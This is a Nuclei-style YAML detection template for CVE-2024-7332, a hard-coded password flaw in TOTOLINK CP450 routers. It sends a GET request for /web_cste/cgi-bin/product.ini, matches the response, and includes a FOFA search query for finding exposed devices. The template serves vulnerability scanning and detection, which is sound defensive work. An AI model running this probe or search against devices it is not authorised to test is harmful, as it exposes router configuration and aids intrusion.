40 lines
1.6 KiB
YAML
40 lines
1.6 KiB
YAML
id: CVE-2024-7332
|
|
|
|
info:
|
|
name: TOTOLINK CP450 v4.1.0cu.747_B20191224 - Hard-Coded Password Vulnerability
|
|
author: securityforeveryone
|
|
severity: critical
|
|
description: |
|
|
A critical vulnerability has been discovered in TOTOLINK CP450 version 4.1.0cu.747_B20191224. This vulnerability affects an unknown part of the file /web_cste/cgi-bin/product.ini of the Telnet Service component. The issue stems from the use of a hard-coded password, which can be exploited remotely without any user interaction.
|
|
reference:
|
|
- https://github.com/abcdefg-png/IoT-vulnerable/blob/main/TOTOLINK/CP450/product.md
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-7332
|
|
- https://cvefeed.io/vuln/detail/CVE-2024-7332
|
|
- https://www.tenable.com/cve/CVE-2024-7332
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2024-7332
|
|
cwe-id: CWE-259
|
|
epss-score: 0.00045
|
|
epss-percentile: 0.16226
|
|
cpe: cpe:2.3:a:totolink:cp450:4.1.0cu.747_b20191224:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: totolink
|
|
product: cp450_firmware
|
|
fofa-query: title="totolink"
|
|
tags: cve,cve2024,totolink
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/web_cste/cgi-bin/product.ini"
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains_all(body,"[PRODUCT]","[WLAN]","HostName")'
|
|
- 'status_code == 200'
|
|
condition: and
|
|
# digest: 4a0a004730450221008a58f22e43d23ea6427fdf45bf165f8d51ec5d7885d9674a26a208b6fae0071e022030e29dfd508b4e2a2dc1cec8dc92a091e6641e7616b0bac749612cc72b679c6f:922c64590222798bb761d5b6d8e72950 |